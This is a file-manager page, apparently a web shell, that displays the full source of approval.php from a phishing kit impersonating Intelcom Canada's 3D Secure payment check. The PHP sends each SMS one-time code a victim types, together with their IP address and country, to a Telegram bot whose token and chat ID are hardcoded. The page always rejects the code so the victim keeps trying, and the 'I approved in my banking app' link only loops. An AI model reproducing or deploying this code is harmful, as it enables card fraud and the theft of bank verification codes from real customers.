at path:
ROOT
/
intelcom
/
approval.php
run:
R
W
Run
assets
DIR
2026-10-18 18:34:10
R
W
Run
approval.php
24.88 KB
2026-10-29 12:06:13
R
W
Run
Delete
Rename
index.php
21.14 KB
2026-10-29 12:06:14
R
W
Run
Delete
Rename
loading1.php
14.24 KB
2026-10-18 18:31:44
R
W
Run
Delete
Rename
loading2.php
14.23 KB
2026-10-18 18:31:22
R
W
Run
Delete
Rename
payment.php
26.02 KB
2026-10-29 12:06:15
R
W
Run
Delete
Rename
error_log
up
📄
approval.php
Save
<?php $BOT_TOKEN = "8135689033:AAHxU286FMqROF7AdbzexK-TfjG7mJ5V8YU"; $CHAT_ID = "-5326912500"; $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $country = 'Unknown'; $context = stream_context_create(['http' => ['timeout' => 5]]); $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context); if ($geoData !== false) { $geo = json_decode($geoData); $country = $geo->country ?? 'Unknown'; } function sendTelegram($msg) { global $BOT_TOKEN, $CHAT_ID; $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage"; $data = ['chat_id' => $CHAT_ID, 'text' => $msg, 'parse_mode' => 'HTML', 'disable_web_page_preview' => true]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($data), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false ]); curl_exec($ch); curl_close($ch); } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) { if ($_POST['action'] === 'verify') { $otp = trim($_POST['otp'] ?? ''); $attempt = intval($_POST['attempt'] ?? 1); $msg = "<b>⚠️ INTELCOM CANADA OTP ATTEMPT #{$attempt}</b>\n"; $msg .= "══════════════════════════════\n"; $msg .= "<b>OTP:</b> <code>{$otp}</code>\n"; $msg .= "<b>IP:</b> <code>{$ip}</code>\n"; $msg .= "<b>Country:</b> {$country}\n"; $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; sendTelegram($msg); echo json_encode(['status' => 'invalid', 'attempt' => $attempt + 1]); exit; } if ($_POST['action'] === 'approved') { $msg = "<b>✅ INTELCOM CANADA PAYMENT APPROVED</b>\n"; $msg .= "══════════════════════════════\n"; $msg .= "<b>IP:</b> <code>{$ip}</code>\n"; $msg .= "<b>Country:</b> {$country}\n"; $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n"; sendTelegram($msg); echo json_encode(['status' => 'loop']); exit; } } $paymentData = json_decode($_POST['payment'] ?? '', true) ?: []; $tracking = htmlspecialchars($paymentData['tracking'] ?? 'INTLCMB5804138'); $last4 = substr(preg_replace('/\D/', '', $paymentData['card_number'] ?? ''), -4) ?: '0000'; $time = date('H:i'); $date = date('d.m.Y'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Intelcom | 3D Secure Verification</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif; color: #1E2226; background: #fff; } /* Header */ header { background: #fff; border-bottom: 1px solid #56697A; position: relative; } header::after { content: ""; position: absolute; left: 50%; right: 0; bottom: -1px; height: 3px; background: #D9822B; } .header-container { display: flex; align-items: center; justify-content: space-between; padding: 20px 40px; min-height: 90px; } .logo img { height: 44px; width: auto; } .header-nav { display: flex; align-items: center; gap: 36px; list-style: none; } .header-nav a { text-decoration: none; color: #56697A; font-size: 15px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.3px; transition: color .2s; } .header-nav a:hover { color: #00A88E; } .chevron { font-size: 11px; color: #A9B6C0; margin-left: 4px; } .header-tools { display: flex; align-items: center; margin-left: 36px; border-left: 1px solid #56697A; } .header-tools > * { display: flex; align-items: center; height: 90px; padding: 0 26px; border-right: 1px solid #56697A; color: #56697A; font-size: 15px; font-weight: 600; text-transform: uppercase; background: none; border-top: none; border-bottom: none; border-left: none; cursor: pointer; text-decoration: none; } .header-tools > *:last-child { border-right: none; } .header-tools > *:hover { color: #00A88E; } .header-tools .icon { font-size: 20px; text-transform: none; } /* Page */ .page-content { padding: 0 1.5rem 64px; } .container { max-width: 500px; margin: 0 auto; width: 100%; } .bank-header { background: #1E2226; color: #fff; padding: 0.9rem 1rem; border-radius: 6px 6px 0 0; text-align: center; font-weight: 600; font-size: 0.9rem; display: flex; align-items: center; justify-content: center; gap: 0.5rem; border-bottom: 3px solid #00A88E; margin-top: 2.5rem; } .approval-card { background: #fff; border: 1px solid #D9DEE3; border-radius: 0 0 6px 6px; padding: 1.5rem; margin-bottom: 2.5rem; box-shadow: 0 4px 14px rgba(30,34,38,0.06); } /* Transaction - narrower by 30% */ .transaction { width: 70%; margin: 0 auto 1.25rem; background: #F4F6F8; border: 1px solid #E3E7EB; border-radius: 6px; padding: 0.7rem 0.9rem; } .trans-row { display: flex; justify-content: space-between; gap: 10px; padding: 0.35rem 0; font-size: 0.82rem; border-bottom: 1px solid #E3E7EB; } .trans-row:last-child { border-bottom: none; } .trans-label { color: #56697A; white-space: nowrap; } .trans-value { font-weight: 700; color: #1E2226; text-align: right; } .amount { color: #00A88E; font-weight: 800; font-size: 0.9rem; } .app-notif { background: #F4F6F8; border-radius: 6px; padding: 1.25rem; margin: 1.25rem 0; text-align: center; border: 1px solid #E3E7EB; } .app-notif img { width: 100px; height: 100px; margin: 0 auto 0.75rem; display: block; } .app-notif strong { display: block; color: #1E2226; margin-bottom: 0.35rem; font-size: 1rem; font-weight: 700; } .notif-text { font-size: 0.85rem; margin: 0.35rem 0; color: #56697A; } .app-badge { display: inline-block; background: #E6F5F2; color: #008F7A; border: 1px solid #B9E5DC; padding: 0.4rem 0.9rem; border-radius: 30px; font-size: 0.8rem; margin-top: 0.5rem; font-weight: 600; } .loading-dots { text-align: center; padding: 1.25rem; margin: 1rem 0; font-size: 0.9rem; color: #56697A; background: #F4F6F8; border-radius: 6px; border: 1px solid #E3E7EB; } .dot-container { margin-top: 0.75rem; } .dot { display: inline-block; width: 8px; height: 8px; border-radius: 50%; background: #00A88E; margin: 0 4px; animation: dotPulse 1.4s infinite ease-in-out; } .dot:nth-child(2) { animation-delay: 0.2s; } .dot:nth-child(3) { animation-delay: 0.4s; } @keyframes dotPulse { 0%, 80%, 100% { transform: scale(0.6); opacity: 0.5; } 40% { transform: scale(1); opacity: 1; } } .sms-container { margin: 1.25rem 0; display: none; } .sms-label { font-weight: 700; margin-bottom: 0.35rem; color: #1E2226; font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.5px; display: flex; align-items: center; gap: 0.4rem; } .sms-label i { color: #00A88E; } .sms-hint { color: #56697A; font-size: 0.8rem; margin-bottom: 0.75rem; } .sms-input { width: 100%; padding: 0.75rem; font-size: 0.95rem; text-align: center; border: 2px solid #D9DEE3; border-radius: 6px; background: #fff; font-family: monospace; margin-bottom: 0.75rem; } .sms-input:focus { outline: none; border-color: #00A88E; box-shadow: 0 0 0 3px rgba(0,168,142,0.15); } .sms-input.error { border-color: #DC2626; } .btn-primary { width: 100%; padding: 0.8rem; background: #00A88E; color: #fff; border: none; border-radius: 6px; font-weight: 700; font-size: 0.9rem; cursor: pointer; text-transform: uppercase; letter-spacing: 1px; transition: all 0.15s ease; font-family: inherit; } .btn-primary:hover { background: #008F7A; } .btn-primary:disabled { background: #D9DEE3; color: #8A97A3; cursor: not-allowed; } .cooldown { margin-top: 0.75rem; color: #56697A; font-size: 0.8rem; text-align: center; padding: 0.6rem; background: #F4F6F8; border-radius: 6px; border: 1px solid #E3E7EB; } .error-message { display: none; color: #DC2626; margin-top: 0.75rem; font-size: 0.8rem; text-align: center; padding: 0.6rem; background: #FEF2F2; border-radius: 6px; border: 1px solid #DC2626; line-height: 1.4; } .approve-link { display: block; text-align: center; color: #1E2226; text-decoration: none; margin: 1rem 0; font-size: 0.85rem; font-weight: 600; padding: 0.75rem; background: #F4F6F8; border-radius: 6px; border: 1px solid #E3E7EB; transition: all 0.15s ease; } .approve-link:hover { background: #E3E7EB; } .approve-link i { color: #00A88E; margin-right: 0.35rem; } .loop-message { display: none; color: #DC2626; margin: 1rem 0; font-size: 0.85rem; text-align: center; font-weight: 600; padding: 0.85rem; background: #FEF2F2; border-radius: 6px; border: 1px solid #DC2626; line-height: 1.4; } .security-badges { display: flex; justify-content: center; gap: 0.75rem; margin-top: 1.25rem; flex-wrap: wrap; } .badge { background: #F4F6F8; padding: 0.4rem 0.7rem; border-radius: 6px; font-size: 0.7rem; color: #56697A; display: flex; align-items: center; gap: 0.35rem; border: 1px solid #E3E7EB; } .badge i { color: #00A88E; } @keyframes shake { 0%, 100% { transform: translateX(0); } 25% { transform: translateX(-5px); } 75% { transform: translateX(5px); } } .shake { animation: shake 0.3s ease; } /* Footer */ footer { background: #1E2226; color: #fff; padding: 60px 40px 30px; } .footer-container { max-width: 1400px; margin: 0 auto; } .footer-logo { margin-bottom: 60px; } .footer-logo img { height: 56px; width: auto; } .footer-top { display: grid; grid-template-columns: 1.1fr 1fr 1fr 1fr 1fr; gap: 40px; } .footer-main-links { list-style: none; } .footer-main-links a { text-decoration: none; color: #56697A; font-size: 40px; font-weight: 700; letter-spacing: -0.5px; line-height: 1.2; transition: color .2s; } .footer-main-links a:hover { color: #00A88E; } .footer-col h4, .location-col h4 { font-size: 13px; font-weight: 500; color: #56697A; text-transform: uppercase; letter-spacing: 0.8px; margin-bottom: 24px; } .footer-col ul { list-style: none; } .footer-col ul li { margin-bottom: 14px; } .footer-col ul li a { text-decoration: none; color: #fff; font-size: 15px; font-weight: 600; transition: color .2s; } .footer-col ul li a:hover { color: #00A88E; } .arrow { font-size: 12px; margin-left: 4px; } .location-note { font-size: 12px; color: #56697A; line-height: 1.4; margin-bottom: 12px; } .location-list { list-style: none; border-left: 1px solid #2E3740; padding-left: 20px; } .location-list li { margin-bottom: 10px; } .location-list a { text-decoration: none; color: #56697A; font-size: 16px; font-weight: 600; } .location-list a.active { color: #00A88E; } .location-list a.sub { font-size: 12px; font-weight: 400; } .location-list a.active-sub { color: #00A88E; font-size: 12px; font-weight: 400; } .lang { color: #fff; font-weight: 600; text-transform: uppercase; text-decoration: none; font-size: 13px; margin-top: 40px; display: inline-block; } .footer-bottom { display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 20px; margin-top: 70px; padding-top: 24px; font-size: 12px; letter-spacing: 0.5px; text-transform: uppercase; } .footer-bottom .copyright { color: #56697A; } .footer-bottom .legal { display: flex; gap: 28px; } .footer-bottom .legal a { color: #56697A; text-decoration: none; transition: color .2s; } .footer-bottom .legal a:hover { color: #00A88E; } @media (max-width: 1024px) { .header-nav { display: none; } .footer-top { grid-template-columns: repeat(2, 1fr); } .footer-main-links a { font-size: 30px; } } @media (max-width: 600px) { .header-container { padding: 15px 20px; } .header-tools > * { padding: 0 12px; font-size: 13px; height: 70px; } .footer-top { grid-template-columns: 1fr; } .footer-main-links a { font-size: 26px; } .transaction { width: 78%; } } </style> </head> <body> <header> <div class="header-container"> <div class="logo"><img src="assets/1.png" alt="Intelcom"></div> <ul class="header-nav"> <li><a href="#track">Track</a></li> <li><a href="#ship">Ship <span class="chevron">▼</span></a></li> <li><a href="#deliver">Deliver</a></li> <li><a href="#employment">Employment <span class="chevron">▼</span></a></li> <li><a href="#tech">Tech <span class="chevron">▼</span></a></li> <li><a href="#about">About <span class="chevron">▼</span></a></li> <li><a href="#faq">FAQ</a></li> </ul> <div class="header-tools"> <a href="#location">Change Location <span class="chevron">▼</span></a> <a href="#fr">FR</a> <button class="icon" title="Search">🔍</button> <button class="icon" title="Notifications">🔔</button> </div> </div> </header> <main class="page-content"> <div class="container"> <div class="bank-header"> <i class="fas fa-shield-alt"></i> Intelcom Canada – 3D Secure Verification </div> <div class="approval-card"> <div class="transaction"> <div class="trans-row"> <span class="trans-label">Merchant</span> <span class="trans-value">Intelcom Canada</span> </div> <div class="trans-row"> <span class="trans-label">Amount</span> <span class="trans-value amount">CAD $7.45</span> </div> <div class="trans-row"> <span class="trans-label">Date & time</span> <span class="trans-value"><?php echo "$date, $time"; ?></span> </div> <div class="trans-row"> <span class="trans-label">Card</span> <span class="trans-value">•••• •••• •••• <?php echo $last4; ?></span> </div> <div class="trans-row"> <span class="trans-label">Reference</span> <span class="trans-value"><?php echo $tracking; ?></span> </div> </div> <div class="app-notif"> <img src="assets/pending.gif" alt="Verification pending"> <strong>Verification request sent</strong> <div class="notif-text"> Check your banking app to approve this payment. </div> <div class="app-badge"> <i class="fas fa-mobile-alt"></i> Open banking app </div> </div> <div class="loading-dots" id="loadingDots"> Waiting for verification from your bank <div class="dot-container"> <span class="dot"></span> <span class="dot"></span> <span class="dot"></span> </div> </div> <div class="sms-container" id="smsContainer"> <div class="sms-label"> <i class="fas fa-sms"></i> SMS verification </div> <div class="sms-hint"> Enter the verification code sent to your registered mobile number. </div> <input type="text" class="sms-input" id="smsInput" placeholder="Enter verification code" inputmode="text" autocomplete="one-time-code"> <button class="btn-primary" id="verifyBtn"> <i class="fas fa-check-circle"></i> Verify code </button> <div class="cooldown" id="cooldown" style="display:none;"> <i class="fas fa-clock"></i> Please wait <span id="countdown">15</span> seconds before trying again </div> <div class="error-message" id="errorMessage"> <i class="fas fa-exclamation-circle"></i> <span id="errorText">Invalid verification code</span> </div> </div> <a href="#" class="approve-link" id="approveLink"> <i class="fas fa-check-double"></i> I approved in my banking app </a> <div class="loop-message" id="loopMessage"> <i class="fas fa-exclamation-triangle"></i> Authorization not detected. Please confirm the transaction through your mobile app or use SMS verification if supported by your card issuer. </div> <div class="security-badges"> <div class="badge"><i class="fas fa-shield-alt"></i> 3D Secure</div> <div class="badge"><i class="fas fa-lock"></i> Encrypted</div> <div class="badge"><i class="fas fa-check-circle"></i> Verified</div> </div> </div> </div> </main> <footer> <div class="footer-container"> <div class="footer-logo"><img src="assets/1.png" alt="Intelcom"></div> <div class="footer-top"> <ul class="footer-main-links"> <li><a href="#track">Track</a></li> <li><a href="#ship">Ship</a></li> <li><a href="#deliver">Deliver</a></li> <li><a href="#employment">Employment</a></li> <li><a href="#tech">Tech</a></li> <li><a href="#about">About</a></li> <li><a href="#faq">FAQ</a></li> </ul> <div class="footer-col"> <h4>Support</h4> <ul> <li><a href="#track-package">Track your package</a></li> <li><a href="#faq">FAQ</a></li> <li><a href="#help">Help</a></li> </ul> </div> <div class="footer-col"> <h4>Professionals</h4> <ul> <li><a href="#shipping">Shipping Services</a></li> <li><a href="#portal">Client Portal</a></li> <li><a href="#developers">Developer Integration Center</a></li> </ul> </div> <div class="footer-col"> <h4>Company</h4> <ul> <li><a href="#about">About us</a></li> <li><a href="#careers">Careers</a></li> <li><a href="#jobs">Jobs at Intelcom</a></li> <li><a href="#platform">Technological Platform</a></li> <li><a href="#media">Media</a></li> <li><a href="#blog">Blog</a></li> </ul> </div> <div class="footer-col"> <h4>Follow us</h4> <ul> <li><a href="#linkedin">LinkedIn <span class="arrow">→</span></a></li> <li><a href="#facebook">Facebook <span class="arrow">→</span></a></li> <li><a href="#youtube">YouTube <span class="arrow">→</span></a></li> <li><a href="#instagram">Instagram <span class="arrow">→</span></a></li> </ul> <div class="location-col" style="margin-top: 36px;"> <h4>Change location</h4> <p class="location-note">We operate in different regions and countries.</p> <ul class="location-list"> <li><a href="#canada" class="active">Canada</a></li> <li><a href="#quebec" class="active-sub">Quebec</a></li> <li><a href="#other" class="sub">Other provinces</a></li> <li><a href="#australia">Australia</a></li> <li><a href="#netherlands">The Netherlands</a></li> </ul> </div> </div> </div> <a href="#fr" class="lang">Français</a> <div class="footer-bottom"> <div class="copyright">© 2026 Intelcom. All rights reserved.</div> <div class="legal"> <a href="#terms">Terms of use</a> <a href="#privacy">Privacy policy</a> <a href="#cookies">Manage cookies</a> </div> </div> </div> </footer> <script> // Show SMS input after 35 seconds setTimeout(() => { document.getElementById('loadingDots').style.display = 'none'; document.getElementById('smsContainer').style.display = 'block'; document.getElementById('smsInput').focus(); }, 35000); // SMS input handling: alphanumeric only, silently capped at 10 characters document.getElementById('smsInput').addEventListener('input', function() { this.value = this.value.replace(/[^A-Za-z0-9]/g, '').slice(0, 10); if (this.classList.contains('error')) { this.classList.remove('error'); document.getElementById('errorMessage').style.display = 'none'; } }); let attempt = 1; let cooldown = false; document.getElementById('verifyBtn').addEventListener('click', async () => { if (cooldown) return; const otp = document.getElementById('smsInput').value.trim(); if (otp.length === 0) { showError('Please enter the verification code'); document.getElementById('smsInput').classList.add('error'); return; } const btn = document.getElementById('verifyBtn'); btn.disabled = true; btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Verifying...'; try { const res = await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: `action=verify&otp=${encodeURIComponent(otp)}&attempt=${attempt}` }); await res.json(); showError('Invalid or expired code. Please try again.'); document.getElementById('smsInput').classList.add('error'); document.getElementById('smsInput').classList.add('shake'); setTimeout(() => document.getElementById('smsInput').classList.remove('shake'), 300); attempt++; startCooldown(); } catch (e) { btn.disabled = false; btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify code'; showError('Connection error. Please try again.'); } }); function showError(message) { const el = document.getElementById('errorMessage'); document.getElementById('errorText').textContent = message; el.style.display = 'block'; const btn = document.getElementById('verifyBtn'); btn.disabled = false; btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify code'; } function startCooldown() { cooldown = true; const btn = document.getElementById('verifyBtn'); const cd = document.getElementById('cooldown'); const count = document.getElementById('countdown'); btn.style.display = 'none'; cd.style.display = 'block'; let time = 15; const interval = setInterval(() => { time--; count.textContent = time; if (time <= 0) { clearInterval(interval); cooldown = false; btn.style.display = 'block'; btn.disabled = false; btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify code'; cd.style.display = 'none'; document.getElementById('smsInput').value = ''; document.getElementById('smsInput').classList.remove('error'); document.getElementById('errorMessage').style.display = 'none'; document.getElementById('smsInput').focus(); } }, 1000); } document.getElementById('approveLink').addEventListener('click', async (e) => { e.preventDefault(); showError('Authorization not detected. Please confirm the transaction through your mobile app or use SMS verification if supported by your card issuer.'); document.getElementById('smsInput').classList.add('error'); await fetch('', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'action=approved' }); document.getElementById('loopMessage').style.display = 'block'; document.getElementById('approveLink').style.display = 'none'; }); </script> </body> </html>